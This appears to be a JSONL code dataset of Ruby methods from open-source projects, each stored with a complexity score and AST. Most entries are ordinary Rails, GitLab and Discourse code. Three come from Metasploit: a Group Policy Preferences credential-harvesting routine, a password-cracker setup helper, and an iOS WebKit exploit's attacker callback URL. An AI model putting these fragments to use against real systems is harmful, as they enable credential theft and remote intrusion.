{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/maven/metadata/create_plugins_xml_service.rb","start_line":54,"raw_source":"def plugin_artifact_ids_from_database\n          package_names = plugin_artifact_ids_from_xml.map do |artifact_id|\n            \"#{@package.name}/#{artifact_id}\"\n          end\n\n          packages = ::Packages::Maven::Package.for_projects(@package.project)\n                                               .displayable\n                                               .with_name(package_names)\n                                               .has_version\n\n          ::Packages::Maven::Metadatum.for_package_ids(packages.select(:id))\n                                      .order_created\n                                      .pluck_app_name\n                                      .uniq\n        end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"plugin_artifact_ids_from_database\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"package_names\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_artifact_ids_from_xml\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"artifact_id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@package\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"artifact_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"packages\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Maven\"]},\"Package\"]},\"for_projects\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@package\"]},\"project\"]}]},\"displayable\"]},\"with_name\",{\"type\":\"lvar\",\"children\":[\"package_names\"]}]},\"has_version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Maven\"]},\"Metadatum\"]},\"for_package_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packages\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"order_created\"]},\"pluck_app_name\"]},\"uniq\"]}]}]}","id":"cf36467b-9950-4f83-8b2a-c44d464e223e"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/routing_test.rb","start_line":1602,"raw_source":"def test_format_is_not_inherit\n    set.draw do\n      get \"/posts(.:format)\" => \"posts#index\"\n    end\n\n    get URI(\"http://test.host/posts.xml\")\n    assert_equal({ controller: \"posts\", action: \"index\", format: \"xml\" },\n                 controller.request.path_parameters)\n\n    assert_equal \"/posts\", controller.url_for(\n      controller: \"posts\", only_path: true)\n\n    assert_equal \"/posts.xml\", controller.url_for(\n      controller: \"posts\", format: \"xml\", only_path: true)\n  end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_format_is_not_inherit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"/posts(.:format)\"]},{\"type\":\"str\",\"children\":[\"posts#index\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"str\",\"children\":[\"http://test.host/posts.xml\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"posts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"xml\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\"]},\"request\"]},\"path_parameters\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/posts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\"]},\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"posts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/posts.xml\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\"]},\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"posts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"xml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"c5896d5e-d95d-4626-b705-56aff7da1c01"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20190313205652_rename_moderator_site_settings.rb","start_line":4,"raw_source":"def up\n    execute \"UPDATE site_settings SET name = 'moderators_view_emails' WHERE name = 'show_email_on_profile'\"\n    execute \"UPDATE site_settings SET name = 'moderators_create_categories' WHERE name = 'allow_moderators_to_create_categories'\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE site_settings SET name = 'moderators_view_emails' WHERE name = 'show_email_on_profile'\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE site_settings SET name = 'moderators_create_categories' WHERE name = 'allow_moderators_to_create_categories'\"]}]}]}]}","id":"39d4c521-ae9c-4c1b-add1-3b4d707256cc"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/fork_tracker_test.rb","start_line":155,"raw_source":"def test_basic_object_with_kernel_fork\n    read, write = IO.pipe\n    called = false\n\n    handler = ActiveSupport::ForkTracker.after_fork do\n      called = true\n      write.write \"forked\"\n    end\n\n    klass = Class.new(BasicObject) do\n      include ::Kernel\n      def fark(&block)\n        fork(&block)\n      end\n    end\n\n    object = klass.new\n    assert_not object.respond_to?(:fork)\n    pid = object.fark do\n      read.close\n      write.close\n      exit!\n    end\n\n    write.close\n\n    Process.waitpid(pid)\n    assert_equal \"forked\", read.read\n    read.close\n\n    assert_not called\n  ensure\n    ActiveSupport::ForkTracker.unregister(handler)\n  end","complexity_score":36.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_basic_object_with_kernel_fork\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"read\"]},{\"type\":\"lvasgn\",\"children\":[\"write\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"pipe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"called\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"handler\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"ForkTracker\"]},\"after_fork\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"called\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"write\"]},\"write\",{\"type\":\"str\",\"children\":[\"forked\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"BasicObject\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Kernel\"]}]},{\"type\":\"def\",\"children\":[\"fark\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"fork\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"fork\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"fark\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"read\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"write\"]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"exit!\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"write\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"waitpid\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"forked\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"read\"]},\"read\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"read\"]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"lvar\",\"children\":[\"called\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"ForkTracker\"]},\"unregister\",{\"type\":\"lvar\",\"children\":[\"handler\"]}]}]}]}","id":"78dd7787-e5f7-46ce-83ec-23ba8d85f797"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/v2/reports/base_summary_builder.rb","start_line":11,"raw_source":"def load_data\n    @conversations_count = fetch_conversations_count\n    load_reporting_events_data\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@conversations_count\",{\"type\":\"send\",\"children\":[null,\"fetch_conversations_count\"]}]},{\"type\":\"send\",\"children\":[null,\"load_reporting_events_data\"]}]}]}","id":"e02932f2-af91-4c83-a55d-784b8aa726a9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/post_actions_controller.rb","start_line":82,"raw_source":"def fetch_post_action_type_id_from_params\n    params.require(:post_action_type_id)\n    @post_action_type_id = params[:post_action_type_id].to_i\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_post_action_type_id_from_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"post_action_type_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@post_action_type_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_action_type_id\"]}]},\"to_i\"]}]}]}]}","id":"767b200e-af96-4135-919e-fd6d1e77f843"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/json_streaming_parser.rb","start_line":200,"raw_source":"def start_document(&block)\n        @listeners[:start_document] << block\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"start_document\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@listeners\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start_document\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}","id":"bd71e87c-2b11-4ca7-a031-53b213cd0e7c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/range_help.rb","start_line":145,"raw_source":"def range_with_comments(node)\n        ranges = [node, *@processed_source.ast_with_comments[node]].map(&:source_range)\n        ranges.reduce do |result, range|\n          add_range(result, range)\n        end\n      end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"range_with_comments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ranges\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@processed_source\"]},\"ast_with_comments\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_range\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ranges\"]},\"reduce\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]},{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"send\",\"children\":[null,\"add_range\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"range\"]}]}]}]}]}","id":"41568fe0-9e4e-44a8-8af1-f8d017f3d804"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/gpp.rb","start_line":272,"raw_source":"def parse_xml(xmlfile)\n    mxml = xmlfile[:xml]\n    print_status(\"Parsing file: #{xmlfile[:path]} ...\")\n    filetype = File.basename(xmlfile[:path].gsub('\\\\', '/'))\n    results = Rex::Parser::GPP.parse(mxml)\n\n    tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc])\n\n    tables.each do |table|\n      table << ['NAME', xmlfile[:name]] if xmlfile.member?(:name)\n      print_good(\" #{table}\\n\\n\")\n    end\n\n    results.each do |result|\n      if datastore['STORE']\n        stored_path = store_loot('microsoft.windows.gpp', 'text/xml', session, xmlfile[:xml], filetype, xmlfile[:path])\n        print_good(\"XML file saved to: #{stored_path}\")\n        print_line\n      end\n\n      report_creds(result[:USER], result[:PASS], result[:DISABLED])\n    end\n  end","complexity_score":45.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_xml\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xmlfile\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mxml\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlfile\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"xml\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Parsing file: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlfile\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]},{\"type\":\"str\",\"children\":[\" ...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filetype\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlfile\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"GPP\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"mxml\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tables\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"GPP\"]},\"create_tables\",{\"type\":\"lvar\",\"children\":[\"results\"]},{\"type\":\"lvar\",\"children\":[\"filetype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlfile\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlfile\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dc\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tables\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlfile\"]},\"member?\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"NAME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlfile\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]}]},{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STORE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stored_path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"microsoft.windows.gpp\"]},{\"type\":\"str\",\"children\":[\"text/xml\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlfile\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"xml\"]}]},{\"type\":\"lvar\",\"children\":[\"filetype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlfile\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"XML file saved to: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stored_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"report_creds\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"USER\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"PASS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"DISABLED\"]}]}]}]}]}]}]}","id":"2d5af356-baf4-479a-956b-9e0e918bbd3d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/password_cracker.rb","start_line":75,"raw_source":"def new_password_cracker(cracking_application)\n      fail_with(Msf::Module::Failure::BadConfig, 'Password cracking is not available without an active database connection.') unless framework.db.active\n      cracker = Metasploit::Framework::PasswordCracker::Cracker.new(\n        config: datastore['CONFIG'],\n        cracker_path: datastore['CRACKER_PATH'],\n        max_runtime: datastore['ITERATION_TIMEOUT'],\n        pot: datastore['POT'],\n        optimize: datastore['OptimizeKernel'],\n        wordlist: datastore['CUSTOM_WORDLIST']\n      )\n      cracker.cracker = cracking_application\n      begin\n        cracker.binary_path\n      rescue Metasploit::Framework::PasswordCracker::PasswordCrackerNotFoundError => e\n        fail_with(Msf::Module::Failure::BadConfig, e.message)\n      end\n      # throw this to a local variable since it causes a shell out to pull the version\n      cracker_version = cracker.cracker_version\n      if cracker.cracker == 'john' && (cracker_version.nil? || !cracker_version.include?('jumbo'))\n        fail_with(Msf::Module::Failure::BadConfig, 'John the Ripper JUMBO patch version required.  See https://github.com/magnumripper/JohnTheRipper')\n      end\n      print_good(\"#{cracker.cracker} Version Detected: #{cracker_version}\")\n      cracker\n    end","complexity_score":44.5,"ast_json":"{\"type\":\"def\",\"children\":[\"new_password_cracker\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cracking_application\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"active\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Password cracking is not available without an active database connection.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cracker\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"PasswordCracker\"]},\"Cracker\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CONFIG\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cracker_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CRACKER_PATH\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_runtime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ITERATION_TIMEOUT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pot\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"POT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optimize\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OptimizeKernel\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wordlist\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CUSTOM_WORDLIST\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cracker\"]},\"cracker=\",{\"type\":\"lvar\",\"children\":[\"cracking_application\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cracker\"]},\"binary_path\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"PasswordCracker\"]},\"PasswordCrackerNotFoundError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"cracker_version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cracker\"]},\"cracker_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cracker\"]},\"cracker\"]},\"==\",{\"type\":\"str\",\"children\":[\"john\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cracker_version\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cracker_version\"]},\"include?\",{\"type\":\"str\",\"children\":[\"jumbo\"]}]},\"!\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"John the Ripper JUMBO patch version required.  See https://github.com/magnumripper/JohnTheRipper\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cracker\"]},\"cracker\"]}]},{\"type\":\"str\",\"children\":[\" Version Detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cracker_version\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"cracker\"]}]}]}","id":"8925af25-73b1-4d96-8d20-9a383e2760e9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/apple_ios/browser/webkit_createthis.rb","start_line":74,"raw_source":"def payload_url\n    \"tcp://#{datastore['LHOST']}:#{datastore['LPORT']}\"\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"payload_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tcp://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]}]}]}","id":"b961282f-2d2a-4f3d-82d5-1f1341a6db0d"}
